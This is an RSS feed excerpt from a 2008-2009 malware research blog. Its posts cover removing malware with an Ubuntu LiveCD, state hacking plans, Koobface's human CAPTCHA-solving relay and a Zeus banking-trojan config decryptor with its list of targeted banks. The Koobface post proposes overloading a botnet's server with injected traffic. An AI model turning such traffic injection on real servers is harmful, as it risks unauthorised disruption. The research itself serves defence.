onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SXgB72w6wQI/AAAAAAAAAw4/r5YzB1NWbXk/s1600-h/screen10.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SXgB72w6wQI/AAAAAAAAAw4/r5YzB1NWbXk/s200/screen10.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5293983489798619394" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The File Browser will fire up and show a panel similar to the one below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SXgCIpRtvJI/AAAAAAAAAxA/7Gx0rsqJnjM/s1600-h/screen9.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 200px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SXgCIpRtvJI/AAAAAAAAAxA/7Gx0rsqJnjM/s200/screen9.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293983709516381330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Your Windows partition will most likely be depicted with an icon of a hard disk drive titled as &lt;em&gt;"[X] Gb Media"&lt;/em&gt;, where X is the size of your partition in Gb. Most likely, the icon will be a bit different from the &lt;em&gt;"Filesystem"&lt;/em&gt; one – it will not have a little green indicator in it because it is not mounted at this point yet.&lt;br /&gt;&lt;br /&gt;In case of several partitions, there will be several &lt;em&gt;"[X] Gb Media"&lt;/em&gt; icons; you will need to identify which one has Windows installed on it – it's not necessarily the first displayed one.&lt;br /&gt;&lt;br /&gt;Right-click your mouse over the hard disk icon and select the &lt;em&gt;"Mount Volume"&lt;/em&gt; option – its icon should get a green indicator on. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3: Locate and Rename/Delete Malicious File(s)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;In the File Browser, double-click an icon of the mounted partition to inspect the directories and file names on that partition. You should be able to recognize your Windows partition by its contents: navigate to &lt;em&gt;%system%&lt;/em&gt; directory and find the file &lt;em&gt;malicious_file.exe&lt;/em&gt;. From here, the file can be renamed or deleted, as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SXgHILuIV8I/AAAAAAAAAxo/yE4eUoICbBM/s1600-h/screen8.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 146px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SXgHILuIV8I/AAAAAAAAAxo/yE4eUoICbBM/s200/screen8.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293989199140640706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If the malicious file was renamed or deleted successfully, shut down Ubuntu (shown below), remove LiveCD, and power on your computer to start up Windows again – the system should be clean from the malicious file at this stage.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SXgC62U4ahI/AAAAAAAAAxY/4GVZJ5nJgfE/s1600-h/screen6.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 86px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SXgC62U4ahI/AAAAAAAAAxY/4GVZJ5nJgfE/s200/screen6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293984572012784146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Troubleshooting: What to Do if Volume Mounting Fails&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If Ubuntu fails to mount your partition, it will show the following error message:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SXgCuRXRdlI/AAAAAAAAAxQ/4wFnkgaCAU8/s1600-h/screen4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 133px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SXgCuRXRdlI/AAAAAAAAAxQ/4wFnkgaCAU8/s200/screen4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293984355932272210" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you get this error message, then most likely you did not power off Windows properly. A clean way is to shut down Ubuntu, remove LiveCD, start up Windows again, insert LiveCD, power off your computer from Windows in a clean way (e.g. by clicking &lt;em&gt;"Turn Off Computer"&lt;/em&gt;), then boot up from the Live CD and repeat Step 2 above.&lt;br /&gt;&lt;br /&gt;In some cases, shutting down Windows properly is not possible due to system corruption – e.g. Windows boots up then crashes before you have a chance to shut it down properly, but you still know what files you want to delete.&lt;br /&gt;&lt;br /&gt;If powering computer off properly (from Windows) still does not help mounting your Windows partition(s) successfully, you will need to force Ubuntu to do that:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Close all error messages.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Start up the Terminal program – you will need to run a couple of commands in it:&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SXgDO1GRtiI/AAAAAAAAAxg/_uGv4RQKyu0/s1600-h/screen11.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 156px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SXgDO1GRtiI/AAAAAAAAAxg/_uGv4RQKyu0/s200/screen11.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293984915280475682" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Run the following command to enlist your partitions:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;sudo fdisk –l&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;From the output of this command, take a note on a partition that is marked as bootable (*) and write down its device name. For example, the output below shows that &lt;em&gt;"/dev/sda1"&lt;/em&gt; is the device name of the bootable partition – most likely it's the Windows partition that needs to be mounted:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Device&amp;nbsp;Boot&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Blocks&amp;nbsp;&amp;nbsp;&amp;nbsp;Id&amp;nbsp;&amp;nbsp;System&lt;br /&gt;/dev/sda1&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;519&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2092576+&amp;nbsp;&amp;nbsp;&amp;nbsp;7&amp;nbsp;&amp;nbsp;HPFS/NTFS&lt;br /&gt;/dev/sdb1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5099&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;40957686&amp;nbsp;&amp;nbsp;&amp;nbsp;2d&amp;nbsp;&amp;nbsp;Unknown&lt;br /&gt;/dev/sdb2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;9725&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;37158345&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7&amp;nbsp;&amp;nbsp;HPFS/NTFS&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Now you'll need to mount your bootable partition and map it to a directory, e.g. &lt;em&gt;"mydisk"&lt;/em&gt;. But first, create that directory by running another command in Terminal window to create &lt;em&gt;"/media/mydisk"&lt;/em&gt; directory (this step is optional):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;sudo mkdir /media/mydisk&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Finally, instruct Ubuntu to mount your bootable Windows partition:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;sudo mount -t ntfs-3g /dev/sda1 /media/mydisk -o force&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;If the partition was mounted successfully, the output will say:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;$LogFile indicates unclean shutdown (0, 1)&lt;br /&gt;WARNING: Forced mount, reset $LogFile.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;You may now run File Browser again and check if any of your partitions has changed its icon to the one with a green indicator in it, as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SXgHsEYGb8I/AAAAAAAAAxw/9PefqwzzQbA/s1600-h/screen13.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 196px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SXgHsEYGb8I/AAAAAAAAAxw/9PefqwzzQbA/s200/screen13.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5293989815644483522" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Repeat Step 3 for the mounted partition to delete the malicious file(s).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-3347131351748960775?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/01/removing-persistent-malware.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_teq8tr511YQ/SXgBPVDvpzI/AAAAAAAAAwg/mUarrXMUoEk/s72-c/screen1.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-2437283442107253115</guid><pubDate>Mon, 05 Jan 2009 23:56:00 +0000</pubDate><atom:updated>2009-01-05T16:53:54.206-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Magic Lantern</category><title>"The Road to Hell Is Paved With Good Intentions", Part II</title><description>&lt;br/&gt;It's been a while since the &lt;a href="http://blog.threatexpert.com/2008/08/beware-good-spyware-or-road-to-hell-is.html" target="_blank"&gt;previous post&lt;/a&gt; discussed commercial "intelligence gathering tool".&lt;br /&gt;&lt;br /&gt;It would have seemed ridiculous, if this time it wasn't UK government &lt;a href="http://www.timesonline.co.uk/tol/news/politics/article5439604.ece" target="_blank"&gt;who thinks&lt;/a&gt; it's acceptable to hack into home computers, spread malware via email, log users' keystrokes, or sniff users' traffic, &lt;em&gt;if it "believes" that it is "proportionate" and necessary to prevent or detect serious crime&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Whoever came up with this idea is apparently the follower of Niccolò Machiavelli (1469–1527), a strong believer that "the ends justify the means". Especially when it comes to the fight with &lt;em&gt;paedophiles&lt;/em&gt; and &lt;em&gt;terrorists&lt;/em&gt;, as if the last two words were doing exceptional job in shutting down one's intellect. &lt;br /&gt;&lt;br /&gt;Considering these news follow other ridiculous reports that the UK military &lt;a href="http://www.theregister.co.uk/2008/12/16/windows_for_submarines_rollout/" target="_blank"&gt;will now run&lt;/a&gt; nuclear-missile submarines under Windows XP (no, it's not April 1st), one could fairly ask &lt;em&gt;"What exactly is going on in that part of the world?"&lt;/em&gt;.&lt;br /&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-2437283442107253115?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/01/road-to-hell-is-paved-with-good.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-8204877260216071265</guid><pubDate>Thu, 18 Dec 2008 04:59:00 +0000</pubDate><atom:updated>2008-12-17T21:38:37.009-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Koobface CAPTCHA resolve</category><title>How to Defeat Koobface</title><description>&lt;br/&gt;As published in the &lt;a href="http://blog.threatexpert.com/2008/12/koobface-leaves-victims-black-spot.html" target="_blank"&gt;previous&lt;/a&gt; blog post, analysis of the current version of Koobface uncovered a very interesting part about it – its "ability" to resolve CAPTCHA protection at the Facebook web site. To put it simply, if Koobface was unable to resolve Facebook’s CAPTCHA protection, it would’ve been unable replicating because in order to submit a new message, one needs to resolve  CAPTCHA image first.&lt;br /&gt;&lt;br /&gt;Every time Koobface runs into CAPTCHA protection at Facebook, it transfers that image to its command-and-control server. From there, the image is relayed to an army of CAPTCHA resolvers, who work day and night ready to pick up a new image from their profile, solve it, submit an answer, and get paid something like 0.5 cent for the answer.&lt;br /&gt;&lt;br /&gt;You wonder if it's financially sustainable?&lt;br /&gt;&lt;br /&gt;Think about it this way: &lt;a href="http://www-wds.worldbank.org/external/default/WDSContentServer/IW3P/IB/2008/09/02/000158349_20080902095754/Rendered/PDF/wps4620.pdf" target="_blank"&gt;according&lt;/a&gt; to the World Bank, at least 80% of humanity lives on less than $10 a day. In the same time, web resources like &lt;a href="http://www.kolotibablo.com/" target="_blank"&gt;this&lt;/a&gt; one, give its users an opportunity to make that kind of money ($9) in three hours by resolving CAPTCHA images relayed to them. Don’t you think the potential army of CAPTCHA resolvers has all the reasons to grow?&lt;br /&gt;&lt;br /&gt;Detailed analysis of traffic between Koobface and its command-and-control server allowed tapping into its communication channel and injecting various CAPTCHA images in it to assess response time and accuracy. The results are astonishing – the remote site resolved them all.&lt;br /&gt;&lt;br /&gt;But here is a twist: uploading a large number of random CAPTCHA images into its communication channel will load its processing capacity, potentially up to a denial-of-service point. Well, if not that far, then at least it could potentially harm its business model, considering that the cost of resolving all those injected images would eventually be paid by the Koobface gang.&lt;br /&gt;&lt;br /&gt;The tapping mechanism is best illustrated with the following scheme:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SUnaMK1l3kI/AAAAAAAAAnA/qeWloM2YJiM/s1600-h/koobface_scheme.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 204px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SUnaMK1l3kI/AAAAAAAAAnA/qeWloM2YJiM/s400/koobface_scheme.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5280991940671036994" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There was a tool specifically built to upload CAPTCHA images to the Kobface C&amp;C server and receive the responses. It is available for download &lt;a href="http://www.threatexpert.com/blog/koobface/CaptchaChecker.zip" target="_blank"&gt;here&lt;/a&gt; (the ZIP file contains a few test images to upload).&lt;br /&gt;&lt;br /&gt;The tool opens up an interesting "dialog" with the back-end operators, a dialog with some interesting discoveries.&lt;br /&gt;&lt;br /&gt;At first, the response clearly looks like it was produced by automation:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SUnbI6jLobI/AAAAAAAAAnY/0EwryYDouYI/s1600-h/captcha1.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 65px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SUnbI6jLobI/AAAAAAAAAnY/0EwryYDouYI/s200/captcha1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5280992984270873010" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As seen in this example, the automation tried to OCR the image (which contains a very specific Russian word) – it’s very unlikely that a human would have provided such answer.&lt;br /&gt;&lt;br /&gt;Trying to submit it images with the provocative phrases had no luck either – the remote server resolves them vigorously – as if it was a bot, or maybe a smart operator instructed to reply as if he or she was a bot:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SUnbexMYpDI/AAAAAAAAAng/ECxkmm-T_Pc/s1600-h/captcha2.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 60px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SUnbexMYpDI/AAAAAAAAAng/ECxkmm-T_Pc/s200/captcha2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5280993359716459570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But given that no automation can presumably handle really complex images – images that are difficult even for humans to resolve, let’s try to submit with the tool the more complex ones. Here are the results:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SUncHs_cf7I/AAAAAAAAAno/1YcKYiFonP8/s1600-h/captcha3.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 345px; height: 400px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SUncHs_cf7I/AAAAAAAAAno/1YcKYiFonP8/s400/captcha3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5280994062963081138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As seen on the picture, all Facebook’s CAPTCHAs were resolved pretty well.&lt;br /&gt;&lt;br /&gt;But here are a couple of bloopers – these images were resubmitted because the original answers were totally wrong:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SUncbVtB_SI/AAAAAAAAAnw/Hu-pX-V1I0c/s1600-h/captcha4.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 75px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SUncbVtB_SI/AAAAAAAAAnw/Hu-pX-V1I0c/s320/captcha4.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5280994400309214498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let’s see how it withstands Google’s CAPTCHAs. Here is another blooper revealed:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SUncpB9ObGI/AAAAAAAAAn4/FukJGokBOIY/s1600-h/captcha5.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 125px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SUncpB9ObGI/AAAAAAAAAn4/FukJGokBOIY/s400/captcha5.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5280994635526597730" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The wrong answers like "edtgted rghf", "edrfb dfbn", "dfgd dfg", and "asdf df" mean it was not an automation. Otherwise, it would have tried to resolve the images at least partially, or maybe provided nonsense for the noise detected in the picture or any other answer suggesting it was a bot. In the end, the wrong answers would have been at least consistent across several attempts.&lt;br /&gt;&lt;br /&gt;These wrong answers simply mean someone was hitting the keyboard (check these keys location), giving those pictures up as too complex puzzles that require too much time/attention, in order to proceed to the easier ones.&lt;br /&gt;&lt;br /&gt;These results could mean that the back-end CAPTCHA server has a queue of CAPTCHA images to resolve, and in front of that queue there must be an automation that firstly tries to resolve CAPTCHAs automatically, by using optic image recognition techniques. If the automation fails, it then passes the image down into the queue to be further distributed and picked up by an operator to be processed manually. Such relaying obviously has no method to oppose, as it destroys the very meaning of CAPTCHA – to distinguish a bot from a human. By having them eventually processed by humans, the only reason to keep CAPTCHA protection is to make the resolving process as expensive as 0.5 cent per image.&lt;br /&gt;&lt;br /&gt;The question is: is it expensive enough to be justified at all? Probably, it’s expensive enough for the kids who build malware out of curiosity or self-determination (compare it with a trivial latch on your window). But it’s nothing for those guys who build malware for any kind of profit (case with Koobface) as more than likely they can afford 0.5 cent per image.&lt;br /&gt;&lt;br /&gt;Taking the C&amp;C down? Maybe, but it will rather pop up in a different place the very next day.&lt;br /&gt;&lt;br /&gt;A different way of destroying it is via poisoning its traffic with the fake CAPTCHAs that look exactly as the ones that are passed by a valid Koobface worm. In this case, Koobface authors will be paying for every fake CAPTCHA resolved, the ones generated in the lab, not the real-wild-world ones.&lt;br /&gt;&lt;br /&gt;Destroying it financially could be a better option in the end.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-8204877260216071265?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/12/how-to-defeat-koobface.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_teq8tr511YQ/SUnaMK1l3kI/AAAAAAAAAnA/qeWloM2YJiM/s72-c/koobface_scheme.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-1884245663527087705</guid><pubDate>Sat, 13 Dec 2008 06:59:00 +0000</pubDate><atom:updated>2008-12-12T23:26:32.071-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Zbot WSNPOEM Zeus PRG Config Decryptor Decoder</category><title>Zeus Config Decryptor</title><description>&lt;br/&gt;The banking trojan Zbot (aka WSNPOEM/Zeus/PRG) is still circulating "in-the-wild" in various modifications.&lt;br /&gt;&lt;br /&gt;If you are &lt;a href="http://www.threatexpert.com/reports.aspx?find=zbot" target="_blank"&gt;tracking&lt;/a&gt; Zbot submissions at ThreatExpert web site, you might find useful the following tool that decrypts the contents of the configuration files downloaded by this trojan: &lt;a href="http://www.threatexpert.com/blog/zbot/DecodeZeusConfig.zip"&gt;DecodeZeusConfig.zip&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The decrypted config file will normally contain URLs of additional components it downloads along with the URLs of online banking services that it attacks and bogus HTML fields it attempts to inject into online banking login forms.&lt;br /&gt;&lt;br /&gt;For example, analysis of the Zeus config file contents over the last week reveals the targeted URLs of the following online financial services:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Alfa Bank (Russia)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Ameriprise Financial Services (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Banca March (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Bancaja (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Banco Pastor (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Banco Popular (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Banco Santander, S.A. (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;BANESNET S.A. (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Banesto (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Bank of America (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Barclays Bank (UK)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Barclays Bank, S.A. (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Cahoot/Abbey National (UK)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caixa Tarragona (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caixanova (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja Espana (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja Extremadura (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja Madrid (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja Madrid Empresas (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja Rural (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Caja Segovia (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Cajamurcia (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Cajasol (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;CajaSur (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Citibank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Citibank Deutschland Gruppe (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Citizens Bank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Clydesdale Bank (UK)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;comdirect bank AG (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Dresdner Bank (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;e-gold (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;ePassporte (Netherlands)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;E-port.Ru (Russia)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Fibanc-Mediolanum (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;FIDUCIA IT AG (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Fifth Third Bank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Halifax/Bank of Scotland (UK)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;HSBC Bank (UK)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;JPMorgan Chase &amp; Co. (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;KeyCorp (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Kutxa, Caja Gipuzkoa San Sebastian (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;La Caja de Canarias (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Lloyds TSB (UK)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;MDM Bank (Russia)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;MoneyMail.Ru (Russia)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;National City Bank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;norisbank GmbH (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;PayPal, Inc. (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;RBK Money (Russia)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;SunTrust Bank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TD Group Financial Services (Canada)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;U.S. Bank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Unicaja (Spain)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Volksbank Rhein-Wupper eG (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;VR-NetWorld eBanking (Germany)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Wachovia Securities (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Washington Mutual, Inc. (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Wells Fargo Bank (US)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Westpac Banking Corporation (Australia)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Yorkshire Bank (UK)&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-1884245663527087705?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/12/zeus-config-decryptor.html</link><author>noreply@blogger.com (Sergei 